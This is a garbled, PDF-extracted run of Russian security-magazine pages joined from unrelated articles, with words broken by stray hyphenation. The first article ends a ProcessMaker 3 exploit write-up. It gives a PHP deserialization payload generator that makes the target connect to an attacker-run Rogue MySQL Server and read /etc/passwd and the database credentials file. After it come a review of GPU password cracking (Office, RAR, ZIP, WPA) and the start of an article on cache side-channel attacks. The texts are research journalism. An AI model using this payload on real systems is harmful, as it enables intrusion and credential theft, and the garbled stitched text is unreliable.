Спи сок заг ружен ных клас сов при пря мом вызове скрип та

Как и ожи далось, при пря мом зап росе фай ла спи сок клас сов неболь шой. 
Од нако если пос мотреть на вызов это го фай ла в кон тек сте обыч ной работы
движ ка, то мож но уви деть, что инте рес ных клас сов тут уже гораз до боль ше.

/gulliver/bin/tasks/templates/sysGeneric.php.tpl

203:     if ((SYS_TARGET==='sysLoginVerify') || (SYS_TARGET===
'sysLogin') || (SYS_TARGET==='newSite')) {
204:      $phpFile = G::ExpandPath('methods') . SYS_COLLECTION . "/" 
. SYS_TARGET.'.php';
205:      require_once($phpFile);
206:      die();
207:     }
208:     else {
209:       require_once( PATH_METHODS . "login/sysLogin.php" ) ;
210:       die();
211:     }

Спи сок заг ружен ных клас сов при работе скрип та в кон тек сте движ ка

К сожале нию, тре тий най ден ный кусок кода ниг де не фигури рует. А жаль, выг‐ 
лядит мно гообе щающе.

За то у нас име ется такой класс, как  . И если мы гля нем
на его исходный код, то уви дим, что это нас ледник най ден ного ранее 

.

MySQLConnection
Connec‐

tionCommon

/gulliver/thirdparty/creole/drivers/mysql/MySQLConnection.php

36: class MySQLConnection extends ConnectionCommon implements Connec
tion {

На пом ню, что метод   вызыва ет  .__wakeup connect

/gulliver/thirdparty/creole/drivers/mysql/MySQLConnection.php

41:     /**
42:      * Connect to a database and log in as the specified user.
43:      *
44:      * @param $dsn the data source name (see DB::parseDSN for 
syntax)
...
50:     function connect($dsninfo, $flags = 0)
...
56:         $this‐>dsn = $dsninfo;
57:         $this‐>flags = $flags;
...
64:             $dbhost = $dsninfo['hostspec'] ? $dsninfo['hostspec']
: 'localhost';

...
69:         $user = $dsninfo['username'];
70:         $pw = $dsninfo['password'];
...
77:         if ($dbhost && $user && $pw) {
78:             $conn = @$connect_function($dbhost, $user, $pw);
79:         } elseif ($dbhost && $user) {
80:             $conn = @$connect_function($dbhost, $user);
81:         } elseif ($dbhost) {
82:             $conn = @$connect_function($dbhost);
83:         } else {
84:             $conn = false;
85:         }

Он  под клю чает ся  к  базе  дан ных,  которая  ука зана  в  перемен ной  .
А ее мы можем сфор мировать и передать в про цес се десери али зации.

$dsninfo

До пус тим, мы смо жем под клю чить ся к под кон троль ному MySQL‐сер веру,
а  что  даль ше?  Здесь  в  дело  всту пает  мой  любимый  ,
о  котором  я  неод нократ но  рас ска зывал. Он  поз волит  нам  про читать фай лы
с сер вера, где уста нов лен ProcessMaker.

Rogue  MySQL  Server

Но сна чала нуж но написать скрипт, который будет генери ровать пей лоад
для  под клю чения  к  нашему  MySQL‐сер веру.  Сде лать  это  про ще  прос того.
Наб роса ем  для  начала  кар кас  экс плу ати руемо го  клас са.  Нуж но  будет  объ‐ 
явить  все  исполь зуемые  при  вос ста нов лении  перемен ные,  при  этом  соб‐ 
людая их области видимос ти.

1: <?php
2: class MySQLConnection {
3:     protected $dsn;
4:     protected $flags = false;
5: }

Ес тес твен но,  зна чения перемен ных нуж но  уста новить, исхо дя из наших пот‐ 
ребнос тей. 
Свой ство    попадет  в  фун кцию  .  Там  оно  интер пре тиру ется
как  мас сив  с  парамет рами  для  под клю чения  к  базе  дан ных.  Заг лянем  чуть
выше: нам нуж ны клю чи    (адрес хос та),    (имя поль зовате‐ 
ля),    (пароль),    (наз вание  базы  дан ных)  и 
(кодиров ка).

$dsn connect

hostspec username
password database encoding

А  сам  класс  нуж но  сери али зиро вать  и  закоди ровать  в  Base 64,  так
как скрипт ждет дан ные имен но в таком фор мате. Вот пол ный код генера тора
пей лоада.

01: <?php
02: class MySQLConnection {
03:     protected $dsn = [
04:         "hostspec" => '139.162.150.122',
05:         "username" => 'whatever',
06:         "password" => 'whatever',
07:         "database" => 'whatever',
08:         "encoding" => 'whatever',
09:     ];
10:     protected $flags = false;
11: }
12: echo(base64_encode(serialize(new MySQLConnection)));

За пус каем Rogue MySQL Server, выпол няем наш код и отправ ляем на сер вер
стро ку, получен ную в парамет ре  .d

Ус пешная экс плу ата ция ProcessMaker 3. Про читан файл /etc/passwd

Вот  и  содер жимое  /etc/passwd.  Если  нас трой ка  и  уста нов ка  ProcessMaker
выпол нялась по офи циаль ной инс трук ции,  то мож но поп робовать про читать
файл  .  В  нем
находят ся дан ные для под клю чения к базе дан ных.

/opt/processmaker/shared/sites/workflow/databases.php

Ус пешная экс плу ата ция ProcessMaker 3. Чте ние кон фигура цион ного
фай ла

Я  думаю,  ты  най дешь,  что  делать  с  этой  информа цией  даль ше.  Нап ример,
если  брать  вер сию  для  Windows,  то  там  из  короб ки  дос тупен  ,
по одно имен ному адре су.

phpmyadmin

Де монс тра ция экс плу ата ции уяз вимос ти (видео)

https://vimeo.com/231055643

Вы воды

Вот  такие  дыры мож но  най ти  и  лег ко  рас кру тить,  при дер жива ясь  нехит рого
алго рит ма  поис ка  по  исходни кам.  Сей час  они  ста ли  попадать ся  реже,  чем
пару  лет  назад  (по  край ней  мере,  в  коде  на  PHP),  но  при  этом  на  порядок
чаще, чем те же XXE‐инъ екции.

https://www.processmaker.com/
https://sourceforge.net/projects/processmaker/files/ProcessMaker/3.0.1.7/
https://github.com/allyshka/visualhack/tree/master/222/processmaker
http://php.net/manual/ru/function.unserialize.php#refsect1-function.unserialize-parameters
https://github.com/allyshka/Rogue-MySql-Server
https://vimeo.com/231055643
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ВЗЛОМ

Сов ремен ные  виде окар ты  похожи  на  ком пак тные  супер‐ 
компь юте ры c про изво дитель ностью в нес коль ко тераф лопс.
Сис тема  с  нес коль кими  виде окар тами  уме щает ся  на  сто ле
и  спо соб на  быс тро  вскрыть  боль шинс тво  зашиф рован ных
фай лов. Если рань ше для это го тре бова лось покупать и нас‐ 
тра ивать  кучу  спе циали зиро ван ных  прог рамм,  то  сей час
дос таточ но одной уни вер саль ной.

Статья написа на в иссле дова тель ских целях. Вся

информа ция в ней носит озна коми тель ный харак‐ 

тер.  Она  адре сова на  спе циалис там  по  безопас‐ 

ности и тем, кто хочет ими стать.

EDPR
На вер няка  ты  уже  стал кивал ся  с  про дук тами  ком пании  Elcomsoft.  Пом ню,
еще в начале нулевых я тес тировал их пер вые «отмычки» для докумен тов фор‐ 
мата Microsoft Office, раз ных архи вов и все думал, ког да они выпус тят уни вер‐ 
саль ную  прог рамму.  Ее  появ ление  не  зас тавило  дол го  ждать.  Понача лу  El‐
comsoft Distributed Password Recovery ( ) прос то воб рала в себя преж ние
наработ ки,  но  уже  с  2008  года  получи ла  самос тоятель ное  раз витие.  Тог да
в  нее  добави ли  под дер жку  GPGPU  и  пос тепен но  интегри рова ли  все  новые
пла гины, опти мизи рован ные для исполь зования виде окарт в брут форсе. Пос‐ 
ледняя  (на  момент  обзо ра)  вер сия  3.23.1059  содер жит  36  пла гинов,  зна ет
око ло семиде сяти фор матов зашиф рован ных фай лов и работа ет прак тичес ки
в любой вер сии Windows.

EDPR

36 пла гинов для взло ма фай лов боль шинс тва фор матов

За пус тить EDPR мож но  как  в дес ктоп ных вер сиях Windows  (от 32‐бит ной XP
до 64‐раз рядной «десят ки»), так и в сер верных. Одна ко для ее самой вос тре‐ 
бован ной фун кции — аппа рат ного уско рения перебо ра паролей на виде окар‐ 
тах Nvidia —  тре бует ся Windows  7,  8,  8.1  или  10  либо Windows  Server  2003,
2008 или 2012.

Те оре тичес ки EDPR может исполь зовать для перебо ра паролей не толь ко
ГП  от  Nvidia,  но  и  дру гие  гра фичес кие  чипы  с  уни вер саль ной  шей дер ной
архи тек турой, выпущен ные за пос ледние семь лет. Это игро вые виде окар ты
Nvidia, начиная с GeForce GTX 4xx и новее, AMD Radeon серий HD 5000 — HD
8000,  более  сов ремен ные  AMD  R9  и  RX.  Под держи вают ся  так же  про фес‐ 
сиональ ные виде окар ты (все серии Nvidia Quadro и AMD FirePro) и спе циали‐ 
зиро ван ные  решения  обо их  про изво дите лей.  Пос ледние,  кста ти,  обес‐ 
печива ют боль шую ско рость перебо ра в рас чете на каж дый зат рачен ный ватт
энер гии. Осо бен но энер гоэф фектив ны для сво его тех про цес са ока зыва ются
Nvidia GeForce GTX Titan, Tesla K10 и выше, а так же AMD Radeon Pro Duo, R9
Nano и R9 Fury X.

Од нако  для  мно гих  алго рит мов  вос ста нов ления  паролей  исполь зует ся
не OpenCL, а CUDA‐опти миза ция. Поэто му уско рен ная обра бот ка некото рых
фор матов в EDPR воз можна толь ко с исполь зовани ем ГП Nvidia. К таким фор‐ 
матам  отно сят ся  архи вы  ZIP  и  RAR,  докумен ты  PDF,  хра нили ща  паролей
в macOS, пароли учет ных записей в Windows, хеши MD5 и некото рые дру гие.

Вне  зависи мос ти  от  фор мата  зашиф рован ных  фай лов,  виде окар ты  всег да
исполь зуют ся как уско рите ли для лег ко рас парал лелива емых опе раций, в то
вре мя как основной код прог раммы исполня ется на ЦП. Поэто му всег да тре‐ 
бует ся  выделять  одно  ядро  про цес сора  на  каж дую  задей ство ван ную  виде‐ 
окар ту.  Луч ше,  если  это  ядро  будет  физичес ким  (а  не  выделен ным  через
гипер поточ ность). Про цес сороза виси мость здесь тоже наб люда ется, но уме‐ 
рен ная. Оче вид но, что сов ремен ные ГП в пол ной мере не рас кры вают ся даже
топовы ми ЦП, пос коль ку раз витие пос ледних идет пре иму щес твен но по пути
уве личе ния  исполни тель ных  бло ков  (ядер),  а  не  час тот  и  объ ема  кеша
на  ядро.  Одна ко  за  пре дела ми  3,5  ГГц  и  кеша  L2  в  2 Мбайт  у  ЦП  раз ница
в про изво дитель нос ти одной и той же виде окар ты сос тавля ет счи таные про‐ 
цен ты  при  неп ропор циональ но  боль ших  зат ратах  энер гии.  Поэто му,  на мой
взгляд,  разум нее  соб людать  баланс  меж ду  сто имостью  и  общей  про изво‐ 
дитель ностью  сис темы,  чем  прос то  гнать ся  за  мак сималь ным  быс тро дей‐ 
стви ем любой ценой.

ЖЕЛЕЗО
Что бы убе дить ся во все ядности и ско рос ти EDPR на собс твен ном опы те, мы
про вели  серию  экспе римен тов.  Пер вый  сюр приз  ждал  нас  еще  на  эта пе
сбор ки тес тового стен да. Шус трых виде окарт не было в про даже, а заказы‐ 
вать из‐за рубежа — слиш ком дол го. Мы кинули клич по вен дорам, но и они
не  смог ли  помочь.  Сво бод ных  виде окарт  прос то  не  было  ни  у  кого  даже
в пред ста витель стве Nvidia. Толь ко в ком пании   нам пош ли навс тре чу
и отыс кали нуж ную видюху.

Inno3D

На тес ты мы изна чаль но хотели взять как раз GTX 1070 сра зу по нес коль‐ 
ким при чинам.

Во‐пер вых, это очень сба лан сирован ное решение — близ кая к флаг ман‐ 
ской  модель  со  все ми  тех нологи чес кими  пре лес тями  топово го  сег мента.
Никаких  уре зан ных  регис тров,  пол ноцен ный  кеш  и  шина  памяти
шириной 256 бит. При этом у GTX 1070 очень уме рен ный аппе тит  (теп ловой
пакет виде окар ты сос тавля ет все го 150 Вт) и отно ситель но скром ные габари‐ 
ты.  Из‐за  неболь ших  раз меров  ее  мож но  без  проб лем  раз местить  в  боль‐ 
шинс тве сред нефор матных кор пусов.

Наш тес товый стенд

Ви деокар та  спо кой но  работа ет  с  прос тыми  бло ками  питания  мощ ностью
от 400 Вт, но при дли тель ной экс плу ата ции на 100%‐й заг рузке рекомен дует‐ 
ся  выб рать  б/п  от  500 Вт  и  с  сер тифика цией  80 Plus  любого  уров ня. Отно‐ 
ситель но  низ кая  пот ребля емая  мощ ность  GTX  1070  избавля ет  от  необ‐ 
ходимос ти  искать  более  дорогие  бло ки,  которые  сей час  тоже  най ти  неп‐ 
росто. Алчные май неры ску пили всё!

Нам дос талась виде окар та iChill GeForce GTX 1070 X4 с эта лон ной вер сией
GeForce GTX  1070  Founders  Edition — GPU GP104,  16‐нм  тех про цесс  FinFET
и 1920 потоко вых про цес соров  (CUDA‐ядер), объ еди нен ных в  три клас тера.
Их  базовая  час тота  уве личе на  до  1620  (с  референ сных  1506  МГц)  и  авто‐ 
мати чес ки  уве личи вает ся  до  тех  пор,  пока  виде окар та  укла дыва ется  в  тем‐ 
ператур ные огра ниче ния. Забегая впе ред, ска жу, что в наших тес тах ГП авто‐ 
мати чес ки раз гонял ся до 2012 МГц (при референ сном пре деле режима boost
1822 МГц)  и  виде окар та  работа ла  исклю читель но  ста биль но  даже  при  дли‐ 
тель ной 100%‐й наг рузке.

7,7 тераф лопс с одной GTX 1070

По мимо харак терис тик ГП, замет ное вли яние на ско рость перебо ра паролей
ока зыва ет и виде опа мять. Здесь у iChill тоже все в поряд ке — 8 Гбайт памяти
GDDR5 про изводс тва Micron с час тотой 2 ГГц.

С эпи зоди чес кими пиковы ми наг рузка ми в играх справ ляют ся даже самые
дешевые  виде окар ты,  а  вот  перебор паролей  свя зан  с  дли тель ной работой
всех потоко вых про цес соров. Поэто му мы иска ли виде окар ту с прод винутым
охлажде нием,  но  обя затель но  воз душным.  Водяное  тре бует  отдель ных
заморо чек,  да  и  обхо дит ся  в  целом  недеше во.  Сис тема  охлажде ния  iChill
GeForce GTX 1070 X4 понача лу казалась мне похожей на вет ряную мель ницу
(шут ка ли — четыре вен тилято ра!), одна ко все они ока зались малошум ными.

Рав номер ный и тихий про дув

Фра за про четыре вен тилято ра у самой iChill X4 сна чала сби ла меня с тол ку.
На фотог рафи ях их явно было вид но три, но почему тог да в наз вании фигури‐ 
рует X4? Все ока залось прос то: инже неры  Inno3D решили пос тавить допол‐ 
нитель ный  вен тилятор  пер пенди куляр но  трем  основным.  Он  мень шего
диамет ра  (50  мм  вмес то  92  мм)  и  охлажда ет  в  основном  силовые  цепи
VRM — самого ответс твен ного узла сов ремен ных виде окарт.

Без  допол нитель ного  охлажде ния  эле мен ты  силовых  цепей  новых  виде‐ 
окарт  могут  наг ревать ся  до  120  °С  и  даже  выше,  поэто му  отдель ный  вен‐ 
тилятор  ока зал ся  вов се  не  лиш ним.  Пом нишь,  как  горели 

 от EVGA? Учить ся луч ше на чужих ошиб ках.
пер вые  GTX

1070 и 1080

Ин дикация тем перату ры виде окар ты

Сле дить за тем перату рой виде окар ты помога ет фир менный инди катор с под‐ 
свет кой  на  RGB‐све тоди одах.  По  мере  наг рева  он  меня ет  цвет  с  синего
на зеленый, а затем на жел тый и крас ный.

Ви деокар та под 100%‐й наг рузкой

При ятным  сюр при зом  ока зались  габари ты.  Я  уже  при вык,  что  каж дая  сле‐ 
дующая видюха у меня круп нее пре дыду щей, но здесь все получи лось наобо‐ 
рот. При срав нимой дли не (305 мм у ста рой и 302 мм у новой) прош лая виде‐ 
окар та  занима ла  три  сло та  из‐за  мас сивно го  ради ато ра.  Тог да  мне
это казалось оправдан ным — боль ше метал ла, выше теп лоем кость. Как еще
отво дить 200 Вт теп ла?

Од нако  вен тилято ры  преж ней  виде окар ты  с  тру дом  про дува ли  круп ный
ради атор на малых обо ротах, а на высоких начина ли замет но шуметь. У сис‐ 
темы  охлажде ния  iChill  X4  дру гой  кон цепт.  Она  занима ет  два  сло та  (два
с полови ной, если счи тать рам ку и фир менную под свет ку), и при TDP 150 Вт
это го  впол не  дос таточ но.  Бла года ря  адек ватным  раз мерам  алю мини евый
ради атор оста ется доволь но эффектив ным даже на малых обо ротах — ска‐ 
зыва ется рав номер ный про дув и при мене ние теп ловых тру бок: двух по 8 мм
и трех по 6 мм.

Ес ли рань ше в ком пак тных вер сиях кор пусов ATX MidiTower с тру дом уда‐ 
валось  помес тить  даже  одну  трех сло товую  виде окар ту  ста рой  архи тек туры
Fermi,  то  теперь  в  них  лег ко  уста нав лива ются  две  с  архи тек турой  Pascal —
более шус трые и энер гоэф фектив ные. Прав да, в таком слу чае все рав но тре‐ 
бует ся допол нитель ное охлажде ние — как минимум еще один кор пусный вен‐ 
тилятор на фрон таль ной панели.

По  умол чанию  виде окар та  нас тро ена  на  мак сималь ную  про изво дитель‐ 
ность.  Вот  толь ко  прог рамма  EDPR  дает  совер шенно  нетипич ную  наг рузку,
поэто му без тви ков TDP пери оди чес ки вылеза ло за 140% и сис тема охлажде‐ 
ния работа ла на пре деле. Сто ило запус тить фир менную ути литу Inno3D TuneIT
и  задать  разум ные  огра ниче ния,  как  все  мгно вен но  вста ло  на  свои  мес та.
Вен тилято ры рас кру чива лись на 1300 об/мин, и TDP сно ва приш ло в нор му.

Бе зопас ные нас трой ки для дли тель ного перебо ра

Про изво дитель  ука зыва ет,  что  в  сис теме  охлажде ния  iChill  X4  при меня ются
вен тилято ры  HerculeZ  с  под шипни ками,  защищен ными  от  попада ния  пыли
и  сер тифици рован ными  на  дли тель ную  работу  в  круг лосуточ ном  режиме.
Боль шую ста тис тику исполь зования я наб рать не успел, но спус тя при мер но
месяц работы на высоких обо ротах акус тичес кий ком форт сис темы оста вал ся
на высоте.

•Сайт Inno3D

•Офи циаль ная груп па InnoVISION «Вкон такте»

•Elcomsoft Distributed Password Recovery

УНИВЕРСАЛЬНАЯ ОТКРЫВАШКА
В  дис три бутив  EDPR  вхо дят  сер верная  часть,  локаль ный  агент  и  кон соль
управле ния.  Основная  работа  по  вос ста нов лению  паролей  начина ется
с  запус ка  EDPR  Console.  В  этой  кон соли  мож но  выб рать  зашиф рован ные
фай лы и тип перебо ра паролей:

по сло варю;•
по мас ке;•
пол ный брут форс.•

От дель но для ата ки по сло варю мож но задать мутации: исполь зование цифр,
зна ков  пун кту ации,  сме ну  регис тра  и  так  далее.  Поэто му  EDPR  спо собен
опре делить не толь ко сло вар ный вари ант пароля, вро де  , но и раз‐ 
ные его модифи кации, вро де   или  .

password
password123 PaSSw0rd

Сло варь мож но ука зать любой или соз дать свой, но в сос таве EDPR уже
есть  целый  набор  отличных  сло варей:  пять  для  англий ско го  язы ка,  четыре
для рус ско го и один для немец кого.

На бор пре дус танов ленных сло варей в EDPR

До пол нитель но  для  алго рит мов  шиф рования  с  извес тной  сла биной  вмес то
перебо ра паролей в EDPR появ ляет ся опция под бора непос редс твен но клю‐ 
ча. Это в разы быс трее.

С  ата кой  по  мас ке  все  прос то —  если  тебе  извес тны  какие‐то  сим волы
пароля, нап ример ты под смот рел, что он начина ется с  , то прос то впи сыва‐ 
ешь    вмес то пер вого сим вола мас ки  (зна ка воп роса). Зна ешь дру гие сим‐ 
волы? Отлично! Запол няй их тоже.

a
a

Брут форс  в  EDPR  так же  мак сималь но  облегчен.  Все  сим волы  раз биты
на пять основных групп (строч ные бук вы, про пис ные бук вы, циф ры, зна ки пре‐ 
пина ния и про бел), а час тые сочета ния (нап ример, строч ные бук вы и циф ры)
мож но  задавать  как  отдель ные  груп пы  и  выбирать  их  из  пре сета.  Для  всех
переби раемых паролей мож но  ука зать  не  толь ко мак сималь ную дли ну,  но  и
минималь ную.  Это  удоб но,  если  ты  твер до  зна ешь,  что  пароли  с  дли ной
менее  N  тех ничес ки  невоз можно  исполь зовать  в  какой‐то  ана лизи руемой
сис теме.

На вклад ке «Ком мента рий» мож но пос мотреть все дан ные о зашиф рован‐ 
ном фай ле. Нап ример, для тес тового архи ва RAR ста рого фор мата ука зыва‐ 
ется  вер сия  (RAR  3‐4),  алго ритм  шиф рования  (AES)  дли на  клю ча  (128  бит)
и вер сия пла гина, которым непос редс твен но выпол няет ся перебор паролей
(espr_rar.dll v.3.22.109). Там же мож но уви деть дату и вре мя соз дания задачи
по выпол нению ауди та.

Син хро низа ция меж ду аген том и сер вером в EDPR занима ет какое‐то вре‐ 
мя (от нес коль ких секунд до пары минут — в зависи мос ти от слож ности пос‐ 
ледне го задания). Поэто му, даже если уда лить единс твен ное задание в кон‐ 
соли  EDPR,  сер вер  про дол жит  наг ружать  виде окар ту  и ЦП  до  тех  пор,  пока
не завер шит перебор текущей пор ции паролей.

EDPR‐сер вер завер шает текущую часть задания даже пос ле его уда ‐
ления
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ЗАПРЯГАЕМ ВИДЕОКАРТУ
ПЕРЕБИРАТЬ ПАРОЛИ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ВОССТАНАВЛИВАЕМ ДОКУМЕНТЫ MICROSOFT OFFICE

В  раз ных  вер сиях  пакета  MS  Office  исполь зуют ся  прин ципи аль но  отли‐ 
чающиеся алго рит мы шиф рования. Более того, есть два фор мата докумен тов
Microsoft Office: Open XML и Office 97 сов мести мый, плюс два типа паролей
и мно жес тво нас тро ек безопас ности.

Сам пароль может быть уста нов лен на откры тие докумен та  (в новых вер‐ 
сиях Office это доволь но надеж ная защита) и на изме нение (это всег да более
при митив ный вари ант). В пос леднем слу чае для ста рых вер сий Office не обя‐ 
затель но  вычис лять  пароль —  мож но  прос то  пос мотреть  или  даже  уда лить
его.  Само  содер жимое  докумен та  с  защитой  от  исправ лений  не  зашиф‐ 
ровано.  Прос то  сох рани  его  в  фор мат  XML,  открой  в  «Блок ноте»  и  най ди
в получен ном фай ле стро ку, содер жащую  . Мож но уда‐ 
лить ее целиком или уви деть сох ранен ный пароль в незашиф рован ном виде.

unprotectPassword="

В ста рых вер сиях Office 97 и 2000 с паролем на откры тие тоже все пло хо.
В них исполь зовал ся не самый стой кий алго ритм шиф рования RC4, а рос сий‐ 
ские поль зовате ли и вов се доволь ство вались его ослаблен ным вари антом —
с клю чом в 40 бит и допол нитель ными упро щени ями в механиз ме генера ции
клю чей. Перебор паролей на откры тие в таких докумен тах воз можен на ско‐ 
рос ти  в  десят ки  мил лионов  вари антов  в  секун ду  даже  без  исполь зования
виде окар ты.  Мно жес тво  веро ятных  клю чей  ока залось  мень ше  мно жес тва
веро ятных паролей (эффект кол лизии сла бых хеш‐фун кций). Поэто му открыть
такие фай лы мож но очень быс тро и незави симо от того, нас коль ко слож ный
пароль был уста нов лен.

Под бира ем ключ вмес то пароля

Чуть  слож нее  вскры вают ся  докумен ты,  соз данные  в MS Office  XP  или  2003,
из‐за  исполь зования  при  генера ции  клю чей RC4  более  прод винуто го  алго‐ 
рит ма хеширо вания — SHA‐160 вмес то MD5. Еще труд нее вскрыть документ
Office 2007 (AES 128 бит и нес коль ко цик лов хеширо вания).

Од нако дей стви тель но  слож ным ста ло шиф рование  толь ко  в Office 2010.
В нем появи лась воз можность исполь зовать через CryptoAPI сто рон ние алго‐ 
рит мы шиф рования дос тупных в сис теме про вай деров служ бы крип тогра фии.
Поэто му зашиф рован ные докумен ты Office 2010 и более новых вер сий, сох‐ 
ранен ные в фор мате Open XML (docx, xlsx и так далее), — неп ростая добыча.
Нем ного  упро щает  ситу ацию  то,  что  прак тичес ки  ник то  не  замора чива ется
с допол нитель ной нас трой кой шиф рования и поч ти все оставля ют дефол тные
зна чения: AES 128.

Без  исполь зования  виде окар ты  докумен ты  Office  2013  и  новее  вскрыть
прак тичес ки  невоз можно.  Пароли  до  пяти  сим волов  и  те  переби рают ся
на про цес соре пол года со ско ростью 57 штук в секун ду.

Брут форс форева!

Ес ли мы под клю чаем наш GTX 1070, то ско рость воз раста ет на два поряд ка —
до 6550 паролей в секун ду. Вмес то полуго да задача брут форса того же фай‐ 
ла реша ется за пол тора дня.

С виде окар той — в 115 раз быс трее!

ВСКРЫВАЕМ АРХИВЫ

Меж ду  сте пенью  пароль ной  защиты  архи вов  ZIP  и  RAR  лежит  про пасть.
Пароли  ZIP  вычис ляют ся  исклю читель но  быс тро.  Нас толь ко  быс тро,  что
исполь зование  виде окар ты  для  перебо ра  корот ких  паролей  ока зыва ется
неоп равдан ным. В нашем тес те пароль   был вос ста нов лен бук валь но
за нес коль ко секунд. При чем не брут форсом, а в режиме ата ки по сло варю
с  исполь зовани ем  мутаций.  EDPR  даже  не  успел  отоб разить  зат рачен ное
вре мя и рас счи тать ско рость перебо ра.

AfLpX5

Мгно вен ное вос ста нов ление корот ких паролей для ZIP‐архи вов

По это му, если пред полага ется не осо бо слож ный пароль, есть смысл исполь‐ 
зовать толь ко ЦП. Пока исполни тель ные бло ки виде окар ты получат задание,
про цес сор уже сам перебе рет все вари анты. CUDA‐опти миза ция брут форса
инте рес на  толь ко  для  более‐менее  длин ных  (от  вось ми  сим волов)  паролей
и то лишь в том слу чае, если ЦП занят дру гими задача ми.

Па роли к ZIP‐архи вам быс тро переби рают ся и на про цес соре

В  чис том брут форсе  EDPR  не  успе вает  наг рузить  все CUDA‐ядра.  Заг рузка
виде окар ты не пре выша ет 15%. Поэто му имен но для ата ки на ZIP‐архи вы сто‐ 
ит  выбирать  про цес сор  с  мак сималь ной  час тотой.  С  дру гими  фор матами
важ нее про изво дитель ность виде окар ты.

Пе ребор паролей к архи вам ZIP сла бо наг ружа ет виде окар ту

Фор мат  RAR  пре дус матри вает  защиту  от  ско рос тно го  перебо ра.  Для  рас‐ 
паков ки  такого  архи ва  необ ходимо  выпол нить  ряд  длин ных  матема тичес ких
дей ствий.  При  обыч ном  откры тии  архи ва  это  дает  незамет ную  задер жку
в доли секун ды, а при брут форсе сущес твен но замед ляет темп ата ки.

Да же корот кие пароли, сос тоящие толь ко из цифр, у архи вов RAR переби‐ 
рают ся нес коль ко суток с черепашь ей ско ростью 263 шту ки в секун ду.

Не тороп ливый перебор

Сто ит добавить виде окар ту,  как  кар тина рез ко меня ется. Ско рость взле тает
в 74 раза — до 19 400 паролей в  секун ду.  Та же самая  задача  тре бует  уже
чуть боль ше часа вмес то рабочей недели.

По чувс твуй раз ницу!

Пе ребор  паролей  архи вов  RAR  ста рых  вер сий  (v.3.0–v.4.x)  упро щен  за  счет
исполь зования  128‐бит ного  клю ча  AES.  В  новой  (пятой)  вер сии  RAR  дли на
клю ча уве личе на до 256 бит. Одна ко и опти миза ция в EDPR выпол нена с при‐ 
целом  на  новый  фор мат  RAR.  Поэто му  для  архи вов  пятой  вер сии  ско рость
перебо ра на виде окар те еще быс трее — 26 500 паролей в секун ду.

Брут форс архи ва RAR нового фор мата

ВСКРЫВАЕМ ПАРОЛИ ТОЧЕК ДОСТУПА WI-FI

EDPR  уме ет  вос ста нав ливать  пароли  Wi‐Fi  из  перех вачен ных  хен дшей ков
всех популяр ных фор матов: cap, pcap, hccap, hccapx, ncf, wkp и wph.

Для  начала  выпол ним сло вар ную ата ку. На  про цес соре она  выпол няет ся
со ско ростью 12 300 штук в секун ду. Перебор по всем англий ским сло варям
с уче том пароль ных мутаций зай мет более двух часов.

Сло вар ная ата ка WPA на про цес соре

При добав лении в спи сок вычис лителей одной виде окар ты GTX 1070 такая же
задача выпол няет ся уже на ско рос ти 391 тысяча паролей в секун ду — поч ти
в 32 раза быс трее. Ее решение зай мет менее пяти минут.

Ви деокар та уско ряет ата ку по сло варю в 32 раза

Пол ный перебор пароля минималь но воз можной дли ны и сос тояще го толь ко
из цифр пот ребу ет  про вер ки 100 мил лионов  ком бинаций. EDPR реша ет  эту
задачу на GTX 1070 менее чем за шесть минут.

WPA‐пароли из вось ми цифр рас калыва ются на ГП за минуты

Ес ли мы добавим  к  циф рам сим волы одно го  регис тра,  то  чис ло  воз можных

ком бинаций воз растет на четыре поряд ка. Вмес то 10  их будет уже (10 + 26)
=  2  821  109  907  456.  Поч ти  три  трил лиона  паролей  наша  тес товая  сис тема
смог ла бы переб рать за четыре месяца.

8 8

Ре комен дован ная  струк тура  паролей  WPA  (минимум  восемь  сим волов,
хотя бы один из них  в  вер хнем и ниж нем регис тре) и  вов се дает  (10 + 26 +

26)  = 218 340 105 584 896 вари антов.  Такую прор ву паролей одна видюха
будет переби рать 23  года,  что дела ет  задачу  в  таком вари анте прак тичес ки
бес смыс ленной.

8

Од нако тем и инте ресен EDPR, что он поз воля ет выпол нять рас пре делен‐ 
ный  брут форс  в  локаль ной  сети  или  через  интернет,  объ еди няя  до  десяти
тысяч  узлов.  Если  сре ди  них  будут  не  толь ко  прос тые  ком пы,  но  и  сер веры
с Nvidia Tesla или популяр ные сре ди май неров «фер мы»,  то 218  трил лионов
паролей WPA удас тся сбру тить... все го за сут ки.

Ины ми сло вами, ско рость перебо ра паролей — все го лишь воп рос мас‐ 
шта биро вания, а EDPR прек расно реша ет задачу объ еди нения узлов. Прос то
добав ляй  новые  на  вклад ке  «Вычис лители»  в  Elcomsoft  Password  Recovery
Agent.

Мо жет показать ся, что соз давать такую сеть слиш ком дорого. Одна ко тебе
ведь  не  обя затель но  покупать  тон ны  виде окарт  и  нас тра ивать  все  железо
самому.  Сов ремен ные  сети  рас пре делен ных  вычис лений  уже  нас читыва ют
мил лионы  узлов,  а  основной  сти мул  при соеди нять ся  к  ним —  воз можность
получать  воз награж дение  в  крип товалю те.  Теоре тичес ки  мож но  запус тить
май нинг нового аль ткой на, в котором будут не прос то счи тать ся хеши, а соз‐ 
давать ся  радуж ные  таб лицы  (пары  хеш  —  пароль)  в  фор мате  блок чей на.
Прак тичес ки — навер няка это уже кто‐то сде лал, прос то мы об этом не зна‐ 
ем.



ЧТО ПРОИЗОШЛО В ОБЛАСТИ

УТЕЧЕК НА АППАРАТНОМ УРОВНЕ

ЗА ПОСЛЕДНИЕ ДВА ГОДА

Антон Карев
vedacoder@mail.ru

ВЗЛОМ

Хо тя мобиль ные устрой ства поль зуют ся все

боль шим и боль шим спро сом, а кеш‐ата ки

пред став ляют  собой  мощ ней ший  спо соб

экс плу ата ции  сов ремен ных  сис темных

архи тек тур,  до  2016  года  сущес тво вало

лишь  нес коль ко  пуб ликаций  о  кеш‐ата ках

на смар тфо ны. Вос полним этот про бел.

Ког да  говорят  о  кеш‐ата ках,  чаще  огра ничи вают ся  рас смот рени ем  атак

на  AES‐таб лицу  и  не  зат рагивая  более  сов ремен ные  методы  межъ ядер ных

атак:

Prime + Probe  ;• [6]
Flush + Reload  ;• [6]
Evict + Reload  ;• [7]
Flush + Flush  ;• [8]
Rowhammer  .• [9]

Кро ме того, до 2016 года счи талось, что межъ ядер ные кеш‐ата ки мож но осу‐ 

щес твить толь ко на плат формах Intel и AMD (на пер сональ ных компь юте рах),

одна ко недав но они были реали зова ны и для ARM‐плат форм (на смар тфо нах

и  дру гих  мобиль ных  устрой ствах)  .  В  пос ледние  два  года  наб люда ется

